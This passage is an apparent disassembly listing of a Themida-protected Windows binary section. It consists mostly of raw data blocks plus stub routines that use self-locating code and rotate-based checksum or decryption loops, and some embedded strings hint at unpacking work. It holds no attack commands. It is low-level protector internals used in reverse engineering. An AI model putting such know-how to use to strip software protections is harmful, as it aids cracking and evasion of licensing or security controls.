		dd 0DDD45840h, 28F00178h, 2BEB6AADh, 863371FFh,	89B11051h
		dd 0D7135899h, 3BC97400h, 9C82EAB4h, 5C29510Ch,	40591Dh
		dd 69AB3F1Eh, 834D87B4h, 26175226h, 7E497100h, 8EE059h
		dd 0A7903ACDh, 4AECA319h, 395A662Eh, 6ADA0603h,	0D7900F5h
		dd 0D43EC41Dh, 0BD091518h, 80D0F890h, 77AD3168h, 5F7B0326h
		dd 195C2472h, 94E48100h, 55D427D8h, 0CCA100A7h,	817B0273h
		dd 0F700BDA5h, 0AC198BBFh, 1406785h, 71C07D8Ah,	23A2B346h
		dd 974A0318h, 786ACBDh,	40CF1AF9h, 4F75E083h, 8500DDE0h
		dd 0BA5A1D2h, 1170190h,	0FEB3AD2Ah, 0E02970F0h,	0F7626BF5h
		dd 63647451h, 1C30F8DEh, 0C97A049Bh, 0C0123D2Ah, 0D48314E4h
		dd 295B4406h, 7FC9CC67h, 4FAC0384h, 0CBE2CDE5h,	818DECB8h
		dd 82233700h, 21C98518h, 31F93C1Eh, 0CC190F8Ah,	0FFFF5F01h
		dd 6Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_57BADA:				; CODE XREF: Themida_:loc_513265j
					; DATA XREF: Themida_:loc_513086o
		jmp	loc_57EF83
; ---------------------------------------------------------------------------
		db 8Dh
		dd 0EF78Dh, 94000000h, 7C90EBh,	8 dup(0)
		dd 64000000h, 3	dup(0)
		dd 94000000h, 9Eh, 2 dup(0)
		dd 46000000h, 0B81A67h,	2 dup(0)
		dd 0F4000000h, 54000001h, 740012FFh, 865559h, 0CC000000h
		dd 0B13Eh, 3 dup(0)
		dd 31000000h, 5EC9h, 0
		dd 0CB000000h, 51D3E4D9h, 0B18Eh, 0
		dd 94000000h, 7C90EBh, 2 dup(0)
		dd 7A000000h, 3Fh, 2 dup(0)
		dd 3F000000h, 0FFFFA3FDh, 0FFFFFFh, 38000000h, 0FFFFBDh
		dd 5 dup(0)
		dd 2B000000h, 5BBDh, 61h dup(0)
		dd 84000000h, 0FFED01h,	13h dup(0)
		dd 94000000h, 0FFFFEBh,	8 dup(0)
		dd 38000000h, 7C8026h, 3 dup(0)
		dd 71000000h, 7C90FBh, 7 dup(0)
		dd 31000000h, 0FF4E57h,	0A0000000h, 0E4875Ch, 0
		dd 0B000000h, 0FD025C6Eh, 1804FFh, 78000000h, 0B691h, 2	dup(0)
		dd 94000000h, 7C90EBh, 8 dup(0)
		dd 0A600h, 2 dup(0)
		dd 8000000h, 0B100B128h, 7Fh, 8	dup(0)
		dd 17000000h, 0FFFEEBh,	3 dup(0)
		dd 23000000h, 57C3h, 2 dup(0)
		dd 67000000h, 5F12h, 2 dup(0)
		dd 6C000000h, 836F14h, 0F6000000h, 5D4Bh, 2 dup(0)
		dd 0EE000000h, 7C905Fh,	0
		dd 77000000h, 5FE5h, 7 dup(0)
		dd 6E004000h, 1B6D8B54h, 2442BEDFh, 0B10Eh, 6 dup(0)
		dd 76000000h, 74631Bh, 0B0h dup(0)
		dd 0FF000000h, 0FFh, 2 dup(0)
		dd 0F0000000h, 4001h, 80000000h, 8, 4 dup(0)
		dd 20h,	20000000h, 0DDBAD3h, 0
		dd 5110h, 9 dup(0)
		dd 0F4000000h, 162E27h,	0
		dd 20000000h, 0B18Dh, 4	dup(0)
		dd 94000000h, 3Dh, 2 dup(0)
		dd 0FD000000h, 5BE8h, 84000000h, 5EC8h,	4 dup(0)
		dd 0D1000000h, 7, 6 dup(0)
		dd 0E0000000h, 12FFh, 3	dup(0)
		dd 0DF000000h, 19FA5FFBh, 23h, 4 dup(0)
		dd 0A0000000h, 2 dup(0)
		dd 68000000h, 8E000000h, 5EC5h,	0
		dd 44000000h, 5B57h, 7 dup(0)
		dd 0D8000000h, 0FD24CFh, 2 dup(0)
		dd 0BE000000h, 5AAAD9h,	3 dup(0)
		dd 80000000h, 0FFED01h,	43000000h, 0BB7A7Fh, 0
		dd 0F4000000h, 98FFFF8Eh, 0A9005A61h, 0B1EAh, 0
		dd 4D000000h, 491DC6h, 0Fh dup(0)
		dd 0A4000000h, 12FFh, 0FD000000h, 5EFFh, 0AC000000h, 0FFED00h
		dd 43000000h, 5F6D5C3Ah, 61706E75h, 72656B63h, 7Ch dup(0)
		dd 79000000h, 9EE8ECh, 0C8000000h, 5BD0h, 12000000h, 0F7F59Bh
		dd 0
		dd 0EA000000h, 663CC7h,	4 dup(0)
		dd 94000000h, 7B7C90EBh, 57C6h,	5 dup(0)
		dd 0DB000000h, 1BFFA157h, 77DFC4h, 70000000h, 0FFFF95h
		dd 1100h, 2000000h, 80h, 0
		dd 0D4000000h, 25513Ah,	0
		dd 0B8000000h, 0
; ---------------------------------------------------------------------------
		or	eax, eax
		jz	short loc_57C687
		retn	18h
; ---------------------------------------------------------------------------


loc_57C687:				; CODE XREF: Themida_:0057C682j
		mov	eax, [esp+0Ch]
		push	ebx
		call	$+5
		pop	ebx
		add	ebx, 17h
		mov	[esp+10h], ebx
		mov	[esp+14h], eax
		pop	ebx
		mov	eax, 0B1FA37h
		jmp	eax
; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		jmp	eax
; ---------------------------------------------------------------------------
		align 10h
		dd 12h dup(0)
		dd 44000000h, 73h, 0
		dd 45000000h, 0DC07A14h, 3004006h, 0B1FAh, 0
		dd 94000000h, 7C90EBh, 2 dup(0)
		dd 0B1000000h, 7Fh, 4 dup(0)
		dd 22000000h, 0B10057F6h, 5D86h, 4 dup(0)
		dd 71000000h, 781804ECh, 0D2000000h, 216B09h, 1000000h
		dd 3E000000h, 5CC7h, 2 dup(0)
		dd 5B000000h, 76B44Eh, 0
		dd 12000000h, 26380415h, 5B7Ch,	81h dup(0)
		dd 79000000h, 127413h, 0F0000000h, 5BA7h, 0
		dd 7E000000h, 0AFA5D4Fh, 223670h, 0
		dd 1000000h, 0Bh dup(0)
		dd 0F6000000h, 14005D0Ch, 1130h, 3 dup(0)
		dd 0D0000000h, 0FFA3CDh, 2 dup(0)
		dd 94000000h, 7C90EBh, 4000000h, 4 dup(0)
		dd 43000000h, 49575C3Ah, 574F444Eh, 79735C53h, 6D657473h
		dd 415C3233h, 50415644h, 2E323349h, 6C6C64h, 3Ah dup(0)
		dd 0F1000000h, 5BF6h, 7	dup(0)
		dd 0F000000h, 0B118h, 0Ah dup(0)
		dd 82000000h, 5EAAh, 4 dup(0)
		dd 44000000h, 0FD00B11Ah, 5BE8h, 0D0000000h, 5EA9h, 19h	dup(0)
		dd 1000000h, 0
		dd 4C000000h, 2F000000h, 7B8A8Eh, 0
		dd 58000000h, 0FFFF95h,	0
		dd 0C100h, 4 dup(0)
		db 90h
		db 21h,	2 dup(0)
		dd 0
		dd 10000000h, 7FFFC2h, 1000000h, 0A4000000h, 70F556h, 0Ah dup(0)
		dd 29000000h, 5AAA2Bh, 2 dup(0)
		dd 82000000h, 16149BEh,	0E9000000h, 24h, 94000000h, 5D7C90EBh
		dd 5A69h, 3F000000h, 57E1h, 9 dup(0)
		dd 0E5000000h, 0FFFF98h, 3 dup(0)
		dd 19000000h, 2	dup(0)
		dd 0C7000000h, 0ACCFB7h, 2 dup(0)
		dd 18000000h, 225123h, 10h dup(0)
		dd 64000000h, 7C802Ch, 6 dup(0)
		dd 0B700h, 0Ch dup(0)
		dd 3000000h, 0B1FAh, 0Ah dup(0)
		dd 0C4000000h, 0ADFFFFF2h, 7E41A8h, 2 dup(0)
		dd 9C000000h, 0F2D2E0h,	12h dup(0)
		dd 7000000h, 987B7A06h,	5A61h, 3 dup(0)
		dd 0E0000000h, 12FFh, 0A4000000h, 0Ah dup(0)
		dd 0B4000000h, 94B272B9h, 7C90EBh, 0A4000000h, 95005B56h
		dd 3AB041h, 3 dup(0)
		dd 0CF000000h, 0E90057BBh, 40EDh, 0Bh dup(0)
		dd 27000000h, 3	dup(0)
		dd 0E9000000h, 18BEBEh,	3 dup(0)
		dd 0F2000000h, 0C67C814Ah, 5F10h, 0
		dd 0E5000000h, 0B731h, 0
		dd 83000000h, 77DD78h, 0D3000000h, 2061D09Fh, 0B119h, 8	dup(0)
		dd 23000000h, 57C3h, 7000000h, 22h, 5 dup(0)
		dd 70000000h, 0
		dd 0B8000000h, 252h, 9 dup(0)
		dd 3D000000h, 5B27EEh, 66000000h, 35BBD17Fh, 0B11611CEh
		dd 5D16h, 0D000000h, 4006h, 12h	dup(0)
		dd 37000000h, 6800B1FAh, 6342Fh, 3 dup(0)
		dd 0F000000h, 0B118h, 7	dup(0)
		dd 0AC000000h, 0FFED00h, 7 dup(0)
		dd 28000000h, 0FFFF92h,	4 dup(0)
		dd 0F000000h, 0B118h, 0
		dd 44000000h, 0DD00B11Ah, 32h, 0
		dd 1000000h, 0F000000h,	900253F8h, 5E89h, 2 dup(0)
		dd 0BF000000h, 5AF3h, 0
		dd 20000000h, 7555A6h, 46000000h, 5D11h, 2 dup(0)
		dd 0B1000000h, 5D16h, 0
		dd 59000000h, 5B66h, 7 dup(0)
		dd 25000000h, 2A00B10Ah, 9E25E106h, 0DF0057FBh,	0FA5FFBh
		dd 3F000000h, 5BBAh, 0D000000h,	0E004006h, 47853h, 0Ah dup(0)
		dd 52000000h, 61747365h, 70417472h, 78652E70h, 65h, 0Ah	dup(0)
		dd 90000000h, 17005D2Eh, 0B194h, 3 dup(0)
		dd 44000000h, 0C246DAh,	7 dup(0)
		dd 0B0000000h, 1C2FFh, 76000000h, 1200016Bh, 23624827h
		dd 5F00h, 98000000h, 5A61h, 3 dup(0)
		dd 0E5000000h, 0FFFF98h, 3 dup(0)
		dd 61000000h, 0EFFFFEBh, 0FF114Eh, 2 dup(0)
		dd 3000000h, 6D00B1FAh,	7B7A58h, 2 dup(0)
		dd 62000000h, 18h, 4 dup(0)
		dd 5B000000h, 76F36Ch, 0Dh dup(0)
		dd 3F000000h, 57BBh, 3 dup(0)
		dd 7C8000h, 0
		dd 94000000h, 0FFFFEBh,	9 dup(0)
		dd 3C000000h, 219B6E4Dh, 212121h, 3 dup(0)
		dd 40000C9h, 6 dup(0)
		dd 78000000h, 0B428h, 2	dup(0)
		dd 94000000h, 7C90EBh, 4 dup(0)
		dd 1000000h, 0A00h, 6 dup(0)
		dd 54000000h, 0D0FFFFFFh, 57BBh, 5 dup(0)
		dd 0F9000000h, 0EEFBC8h, 0Bh dup(0)
		dd 0C9000000h, 0F0005E93h, 12FFh, 8B000000h, 0DB6EF9h
		dd 6 dup(0)
		dd 82000000h, 0C6h, 0Fh	dup(0)
		dd 42000000h, 1000010h,	3 dup(0)
		dd 61000000h, 4DDED0AFh, 7BE9F93Eh, 5CA4h, 4 dup(0)
		align 8
		dd 76F212h, 3 dup(0)
		dd 90000000h, 5	dup(0)
		dd 0DA000000h, 770129B3h, 70012159h, 3,	5 dup(0)
		dd 3C000000h, 71FFFFFFh, 7C90FBh, 0
		dd 0A4000000h, 5B56h, 2D026F00h, 9E2F60h, 0
		dd 7C000000h, 0D2000000h, 0C03F4093h, 5C00h, 6 dup(0)
		dd 0AB000000h, 4029F67Fh, 0B11Ah, 2 dup(0)
		dd 0E9000000h, 1Ch, 1000000h, 0D000000h, 0B48Bh, 2 dup(0)
		dd 0DF000000h, 0A9C530h, 94000000h, 7C90EBh, 88000000h
		dd 8005E28h, 5AC3h, 64000000h, 5CC0h, 2	dup(0)
		dd 0DA000000h, 10005B57h, 76F215h, 9 dup(0)
		dd 93000000h, 48005BAFh, 2C2F091Fh, 0D9025300h,	0C765D4h
		dd 2 dup(0)
		dd 0D000000h, 6C00B48Bh, 836F14h, 0B3000000h, 5D47h, 8 dup(0)
		dd 0C0000000h, 5C00h, 7	dup(0)
		dd 0FC000000h, 0FFFFFFh, 2 dup(0)
		dd 0DF000000h, 7C90C6h,	3 dup(0)
		dd 0FC000000h, 0E67F28h, 4 dup(0)
		dd 0C2000000h, 2 dup(0)
		dd 6000000h, 5B78h, 5 dup(0)
		dd 0A1000000h, 5A61h, 4000000h,	2 dup(0)
		dd 47000000h, 7C809Bh, 1C000000h, 0FFFFFF79h, 0FFFFFFh
		dd 0
		dd 0FF000000h, 54005B1Fh, 696D6568h, 6164h, 1Bh	dup(0)
		dd 0C1000000h, 3F005C02h, 57E1h, 4 dup(0)
		dd 0C000000h, 0FF864972h, 0F4h,	10000000h, 36005EBAh, 363636h
		dd 5 dup(0)
		dd 0AC000000h, 68FFFF78h, 5BD8h, 0Fh dup(0)
		dd 0B0000000h, 1F2FFh, 0
		dd 0A8000000h, 2E38C8h,	30000000h, 0CDFF4EF1h, 0B90037B5h
		dd 5D08h, 0
		dd 0CF000000h, 5500B1A8h, 2E67D2h, 2D000000h, 0E2A9CEh
		dd 0
		dd 82000000h, 0Fh, 3 dup(0)
		dd 5E00h, 0BC000000h, 500001Bh,	0A2801h, 3 dup(0)
		dd 0DF000000h, 0A9C530h, 3 dup(0)
		dd 48000000h, 0E57C90FCh, 9477DDEDh, 0B67C90EBh, 0B1005B56h
		dd 8AA99Fh, 0D000000h, 4006h, 0C4000000h, 440012FFh, 0C246DAh
		dd 6 dup(0)
		dd 0D000000h, 87004006h, 0A7D2h, 9 dup(0)
		dd 8C000000h, 0EFFFE94h, 1E557E70h, 2CC63Ch, 0
		dd 0F8000000h, 0F228664h, 0B73Fh, 3F000000h, 57BBh, 3 dup(0)
		dd 23000000h, 5700h, 2 dup(0)
		dd 61000000h, 5EEBh, 7F000000h,	7EBDFBh, 4 dup(0)
		dd 0E9000000h, 129B3h, 3 dup(0)
		dd 0F3000000h, 0C7BB1Bh, 11h dup(0)
		dd 0EC000000h, 37h, 0ED000000h,	8474Ah,	12h dup(0)
		dd 0CF000000h, 7C80B4h,	0E9000000h, 0ED000035h,	2F7DE7E3h
		dd 5D4Ch, 0
		dd 2B000000h, 6C010D85h, 0F3E324h, 0
		dd 8D000000h, 5F0Eh, 0Ah dup(0)
		dd 80000000h, 0FFFFFEh,	0Ah dup(0)
		dd 82000000h, 5BFAh, 0
		dd 0E3000000h, 27C0Ah, 23000000h, 57C3h, 3 dup(0)
		dd 23000000h, 87005B00h, 1000013h, 0
		dd 33000000h, 2	dup(33333333h),	0BB333333h, 22837C86h
		dd 22222222h, 43222222h, 56h, 0
		dd 0AA000000h, 3A0h, 0
		dd 32000000h, 5AF6h, 7 dup(0)
		dd 0F000000h, 0B118h, 4	dup(0)
		dd 9F000000h, 374309h, 94000000h, 0A47C90EBh, 32005BE5h
		dd 0EC00B48Bh, 18FFFF96h, 7C90EEh, 18h dup(0)
		dd 79000000h, 127413h, 0
		dd 94000000h, 7C90EBh, 5 dup(0)
		dd 70000000h, 6009h, 26C00h, 4 dup(0)
		dd 65000000h, 0F50143h,	7 dup(0)
		dd 0E9000000h, 129B3h, 0
		dd 0C3000000h, 73D6C9h,	0
		dd 80000000h, 12FEh, 0F40004D0h, 5D54h,	0A3029500h, 0CDA680h
		dd 0
		dd 0AB000000h, 5D8Eh, 2	dup(0)
		dd 0A1000000h, 0FFEEF4h, 98000000h, 5A61h, 4 dup(0)
		dd 1000000h, 35000000h,	2C1B26h, 94000000h, 7C90EBh, 0DF000000h
		dd 82A9C530h, 5BFAh, 0AA000000h, 8FF9FFCh, 0B1B5h, 0
		dd 0E9000000h, 940129B3h, 1E7C90EBh, 4C005E44h,	613Ah
		dd 3 dup(0)
		dd 80000000h, 2, 4 dup(0)
		dd 0FA000000h, 934E5721h, 0F000B224h, 80003Dh, 5 dup(0)
		dd 7C000000h, 10h, 0
		dd 94000000h, 7C90EBh, 0
		dd 70000000h, 0FFFF95h,	3 dup(0)
		dd 40000000h, 0A1005EC8h, 0DF5E25h, 6 dup(0)
		dd 200h, 23h dup(0)
		dd 5F000000h, 58011D85h, 0D57C863Fh, 18h, 3 dup(0)
		dd 9B000000h, 225A2Bh, 2 dup(0)
		dd 0B0000000h, 0E40232FFh, 23h,	0Dh dup(0)
		dd 0A1000000h, 0B1AAh, 0
		dd 9F000000h, 3F9F95h, 6 dup(0)
		dd 5D000000h, 32597Fh, 0
		dd 3F000000h, 57BBh, 82000000h,	0CE005AF6h, 5AA2h, 9E000000h
		dd 230000EFh, 5B00h, 8A000000h,	644130CEh, 6, 5	dup(0)
		dd 0F6000000h, 36516h, 2 dup(0)
		dd 88000000h, 71h, 8 dup(0)
		dd 97000000h, 12A127h, 4 dup(0)
		dd 17000000h, 4D56C5h, 9 dup(0)
		dd 88000000h, 23000000h, 5B00h,	8 dup(0)
		dd 0FF000000h, 0FFFFFFh, 23004000h, 0
		dd 7000000h, 0FCFD12h, 3 dup(0)
		dd 8F000000h, 5FFCh, 3 dup(0)
		dd 58000000h, 24h, 0F0000000h, 0BC2E68h, 0C000000h, 65EDC70Dh
		dd 178C3Eh, 6 dup(0)
		dd 54000000h, 12FFh, 4 dup(0)
		dd 4000000h, 10h, 1Ch dup(0)
		dd 44000000h, 0E100B11Ah, 5B8Eh, 9 dup(0)
		dd 0A0000000h, 9 dup(0)
		dd 6C000000h, 0
		dd 1000000h, 98000000h,	5A61h, 94000000h, 7C90EBh, 0C8000000h
		dd 8975D4h, 3 dup(0)
		dd 0CC000000h, 5BBAh, 0
		dd 3000000h, 0B1FAh, 7 dup(0)
		dd 1000000h, 2 dup(0)
		dd 74000000h, 7630DEh, 0
		dd 11000000h, 111111h, 3 dup(0)
		dd 0F000000h, 1F00B118h, 0EEFB26h, 77000000h, 487C810Ah
		dd 0E7006071h, 0E477DDEBh, 46h,	0
		dd 23000000h, 5B00h, 0E9000000h, 129B3h, 0F0000000h, 77DD6Bh
		dd 0
		dd 67000000h, 963E10h, 94000000h, 7C90EBh, 4 dup(0)
		dd 0CE000000h, 94000000h, 7C90EBh, 2 dup(0)
		dd 37000000h, 77DDEEh, 8E000000h, 56EBh, 9 dup(0)
		dd 84000000h, 1C005E8Ah, 0CDA66Dh, 8 dup(0)
		dd 0A0004000h, 130000FCh, 0B702h, 7Fh, 0Dh dup(0)
		dd 18000000h, 7C8035h, 0EC000000h, 0B137h, 7 dup(0)
		dd 17000000h, 9A00B194h, 0AD005B03h, 825A83h, 0B0000000h
		dd 8E01F2FFh, 5E9Dh, 7 dup(0)
		dd 51000000h, 2D00B18Eh, 567A3h, 3 dup(0)
		dd 5C000000h, 0FFED00h,	3 dup(0)
		dd 73000000h, 56B5BBh, 2 dup(0)
		dd 0D9000000h, 5AF3h, 4	dup(0)
		dd 0F7000000h, 0DE8F1A62h, 5D09h, 2 dup(0)
		dd 84000000h, 0A3h, 0
		dd 0E9000000h, 940129B3h, 997C90EBh, 5D4Bh, 0C0000000h
		dd 5D09h, 25300h, 6C000000h, 836F14h, 0
		dd 1000000h, 94000000h,	7C90EBh, 0
		dd 26E00h, 3 dup(0)
		dd 0A4000000h, 12FFh, 0
		dd 0E9000000h, 129B3h, 5 dup(0)
		dd 77000000h, 7C801Dh, 66000000h, 0BBD17Fh, 2 dup(0)
		dd 3C000000h, 0B11Ah, 2	dup(0)
		dd 0FC00007Fh, 0E67F28h, 3 dup(0)
		dd 66000000h, 0BBD17Fh,	8 dup(0)
		dd 34000000h, 0EAh, 2 dup(0)
		dd 0D7000000h, 60C0h, 2	dup(0)
		dd 24000000h, 7C801Ah, 0D2000000h, 3F4093h, 0AD000000h
		dd 400B3FCh, 6D88EFh, 2000000h,	8 dup(0)
		dd 5C000000h, 0FFA4A9h,	0
		dd 2E000000h, 0C0BF6Ch,	2 dup(0)
		dd 8C000000h, 4	dup(0)
		dd 0E000000h, 7C8018h, 3000000h, 0B2C2h, 0
		dd 94000000h, 0
		dd 8A000000h, 80005B1Fh, 3 dup(0)
		dd 0F5000000h, 9481CF34h, 7C90EBh, 0
		dd 42000000h, 0B118h, 2	dup(0)
		dd 0FE000000h, 747C834Fh, 2 dup(0)
		dd 0B0000000h, 0ECA4F8Ah, 0E97C8018h, 0EDh, 2 dup(0)
		dd 0E9000000h, 5E0129B3h, 5A005C10h, 5DA9h, 94000000h
		dd 0A87C90EBh, 144Bh, 3	dup(0)
		dd 0AD000000h, 0DD7E41A8h, 2, 86000000h, 5C8Fh,	0
		dd 94000000h, 7C90EBh, 5 dup(0)
		dd 54000000h, 580012FFh, 0A0000000h, 947C80ADh,	7C90EBh
		dd 0Bh dup(0)
		dd 0F7000000h, 0B41Ch, 1000000h, 5 dup(0)
		dd 6C000000h, 836F14h, 5A026D00h, 0FFA313h, 6 dup(0)
		dd 5C000000h, 0F9h, 2 dup(0)
		dd 0A8000000h, 8EB8ADh,	0
		dd 0F000000h, 0B118h, 0E9000000h, 35h, 7C000000h, 2 dup(0)
		dd 24000000h, 94242424h, 7C90EBh, 5C000000h, 5D2Fh, 31h	dup(0)
		dd 0A4000000h, 5B56h, 0Eh dup(0)
		dd 7C8000h, 3 dup(0)
		dd 0F5000000h, 12EBh, 0
		dd 5C000000h, 77059596h, 0FF005FDAh, 0FFFFFFh, 8 dup(0)
		dd 0E000000h, 7CC960h, 5 dup(0)
		dd 0F0000000h, 0B119h, 2 dup(0)
		dd 0A1000000h, 9800B1AEh, 94000033h, 7C90EBh, 2	dup(0)
		dd 4A000000h, 0FFA01Dh,	8000000h, 0B1B5h, 5 dup(0)
		dd 0D0000000h, 3 dup(0)
		dd 0D2000000h, 3F4093h,	0FC000000h, 0A9F9h, 3 dup(0)
		dd 28000000h, 0FF00B18Bh, 7FDFFFh, 0DE000000h, 0C25FDFh
		dd 0
		dd 0B8000000h, 22012Bh,	0
		dd 26D00h, 2 dup(0)
		dd 0B6000000h, 0F50000AEh, 65E86h, 4 dup(0)
		dd 0F5000000h, 2F162E27h, 6075h, 0
		dd 8C000000h, 90000000h, 0FFFFA2h, 90000000h, 76F217h
		dd 4 dup(0)
		dd 0E9000000h, 800129B3h, 0FBA51Bh, 20000000h, 7C8047h
		dd 3 dup(0)
		dd 7F000000h, 0FFA150h,	82004010h, 0C6h, 1A000000h, 0DF006015h
		dd 0E4h, 3 dup(0)
		dd 1000000h, 4 dup(0)
		dd 2B0h, 0Bh dup(0)
		dd 69000000h, 7E00B71Eh, 5EAAh,	2 dup(0)
		dd 0DA000000h, 7C81CDh,	0
		dd 0F000000h, 0B118h, 6	dup(0)
		dd 5000000h, 19h dup(0)
		dd 23000000h, 5B00h, 1F000000h,	15E299h, 4 dup(0)
		dd 0A3000000h, 83CA17h,	7 dup(0)
		dd 7E000000h, 7EBDFBh, 4 dup(0)
		dd 0C8000000h, 0FF0012FEh, 7Fh,	3 dup(0)
		dd 0B8000000h, 0
		dd 0B6000000h, 0F38D26h, 14h dup(0)
		dd 3B000000h, 0CA005EACh, 728CD3h, 2 dup(0)
		dd 88000000h, 7E63D4h, 2 dup(0)
		dd 0F6000000h, 557EAFh,	0
		dd 77DD00h, 3 dup(0)
		dd 0A4000000h, 0B1005B56h, 57FEh, 5A000000h, 94005AF6h
		dd 180000EBh, 0B129h, 0Ch dup(0)
		dd 0F9000000h, 7C90DDh,	2 dup(0)
		dd 0A5000000h, 9005D19h, 57C812Ah, 0E8942B56h, 5, 8 dup(0)
		dd 0FF000000h, 0FFFFFFh, 2 dup(0)
		dd 7C9000h, 4 dup(0)
		dd 0E8000000h, 557E70h,	73000000h, 5263B8h, 6 dup(0)
		dd 94000000h, 0EBh, 5 dup(0)
		dd 0FB000000h, 0EB1C17D1h, 6D0F7Ch, 7 dup(0)
		dd 0B100h, 2Dh dup(0)
		dd 0C000000h, 6Bh, 84000000h, 3000000h,	0B1FAh,	4 dup(0)
		dd 1, 3	dup(0)
		dd 9C000000h, 2	dup(0)
		dd 0BF000000h, 17E3FFh,	0
		dd 0F4000000h, 0C12564h, 4 dup(0)
		dd 6000000h, 5B78h, 0
		dd 94000000h, 7C90EBh, 0
		dd 61000000h, 0FFFFEBh,	2 dup(0)
		dd 47000000h, 7C809Bh, 0Fh dup(0)
		dd 0FD000000h, 0FF4E05h, 2 dup(0)
		dd 60000000h, 6	dup(0)
		dd 30000000h, 5A801EB5h, 5D2Fh,	2 dup(0)
		dd 0F9000000h, 302EDh, 3 dup(0)
		dd 0B0000000h, 980162FFh, 3 dup(0)
		dd 5A000000h, 77DDEEh, 0
		dd 0E4000000h, 0B18Eh, 4000h, 3	dup(0)
		dd 1000000h, 6 dup(0)
		dd 0DA000000h, 7C81CDh,	3 dup(0)
		dd 0BD000000h, 6A005F3Ch, 0EAABh, 3 dup(0)
		dd 7E4100h, 90000000h, 0FF9FF6h, 4 dup(0)
		dd 54000000h, 5B3Dh, 0Ah dup(0)
		dd 0DA000000h, 7C8111h,	0Bh dup(0)
		dd 0B9000000h, 7CB19Eh,	13h dup(0)
		dd 12000000h, 32D456h, 5 dup(0)
		dd 74000000h, 0
		dd 0E1000000h, 5F18h, 2	dup(0)
		dd 0DE000000h, 5FD5h, 0DE000000h, 7C80ABh, 60000000h, 0FBD964h
		dd 3 dup(0)
		dd 0C6000000h, 5F10h, 5	dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_57EF83:				; CODE XREF: Themida_:loc_57BADAj
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 61234B3h
		mov	[ebp+6121D79h],	edx
		mov	[ebp+61221A1h],	esi
		mov	[ebp+61218FDh],	eax
		cmp	dword ptr [ebp+6122E51h], 0
		jz	short loc_57EFBB
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_57EFBB:				; CODE XREF: Themida_:0057EFADj
		mov	eax, [esp+24h]
		mov	[ebp+61200C9h],	eax
		push	45h
		call	sub_57F06F
		push	783749Ah
		call	sub_57F0B5
		push	0A894B25h
		call	sub_57F0B5
		jmp	loc_57F1F9
; ---------------------------------------------------------------------------
		db 45h,	46h, 47h
		dd 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h, 5B5A5958h
		dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch
		dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h
		dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h
		dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h
		dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh
		dd 0C3C2C1C0h, 2 dup(0)
		db 3 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_57F06F	proc near		; CODE XREF: Themida_:0057EFC7p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 61235A1h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_57F08B:				; CODE XREF: sub_57F06F+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_57F0AA
		mov	eax, [ebp+arg_0]
		mov	[ebx+612350Bh],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_57F08B
; ---------------------------------------------------------------------------


loc_57F0AA:				; CODE XREF: sub_57F06F+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_57F06F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_57F0B5	proc near		; CODE XREF: Themida_:0057EFD1p
					; Themida_:0057EFDBp

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 61235EAh
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_57F0DB:				; CODE XREF: sub_57F0B5+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_57F0DB
		mov	[ebp+var_84], 0
		lea	edi, [edx+612350Bh]
		lea	esi, [ebp+var_80]


loc_57F10B:				; CODE XREF: sub_57F0B5+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_57F117:				; CODE XREF: sub_57F0B5+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_57F117
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_57F10B
		popa
		leave
		retn	4
sub_57F0B5	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_57F155
; ---------------------------------------------------------------------------


loc_57F151:				; CODE XREF: Themida_:0057F158j
		inc	dword ptr [ebp-4]
		inc	esi


loc_57F155:				; CODE XREF: Themida_:0057F14Fj
		cmp	byte ptr [esi],	0
		jnz	short loc_57F151
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_57F1E6
; ---------------------------------------------------------------------------


loc_57F167:				; CODE XREF: Themida_:0057F1E9j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_57F1DD
; ---------------------------------------------------------------------------


loc_57F170:				; CODE XREF: Themida_:0057F1E1j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_57F1CA
; ---------------------------------------------------------------------------


loc_57F180:				; CODE XREF: Themida_:0057F1CEj
